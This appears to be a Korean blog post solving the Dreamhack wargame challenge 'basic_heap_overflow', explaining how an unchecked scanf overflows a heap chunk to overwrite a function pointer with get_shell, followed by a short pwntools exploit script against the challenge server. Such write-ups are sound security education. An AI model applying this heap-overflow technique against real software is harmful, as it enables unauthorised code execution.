상세 컨텐츠

본문 제목

[Dreamhack] basic_heap_overflow

SYSTEM HACKING/Dreamhack

by koharin 2020. 7. 8. 13:07

본문

728x90
반응형

 


 

 

 

v5에는 힙 주소가 적히고 (할당된 힙 청크에 영역의 주소), 데이터로 table_func을 적는다.

만약 값이 적혀있으면 해당 v5에 적힌 주소를 실행한다.

따라서 v5에 적힌 값을 get_shell로 변조하면 쉘을 딸 수 있다.

 

v3 포인터가 가리키는 힙 영역을 가장 먼저 할당하는데 scanf로 입력받아서 heap overflow 취약점이 존재한다.

이를 이용해서 table_func->get_shell로 바꾼다.

 

 

 

초기 힙 상태를 보면 2개가 할당되어 있는 것을 확인할 수 있다.

 

 

 

scanf 시 첫 번째 노란색 부분부터 입력받아서 0x08048694를 덮어야 한다.

4*10 + p32(get_shell) 페이로드 전당 후 get_shell이 데이터 영역에 적힌 것을 확인할 수 있다.

 

 

 

call <get_shell>로 get_shell 함수가 호출되어 쉘이 실행된다.

 

 


 

 

#!/usr/bin/python 
from pwn import *

#p = process("./basic_heap_overflow")
p = remote("host1.dreamhack.games", 8336)
elf = ELF("./basic_heap_overflow")
get_shell = elf.symbols['get_shell']

#gdb.attach(p)
p.sendline('A'*(4*10) + p32(get_shell))

p.interactive()

 

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[Dreamhack] welcome  (0) 2021.02.09
[Dreamhack] tcache_dup2  (0) 2020.08.29
[Dreamhack] memory_leakage  (0) 2020.07.08
[Dreamhack] House of Force  (0) 2020.06.13
[Dreamhack] tcache dup  (0) 2020.06.12

관련글 더보기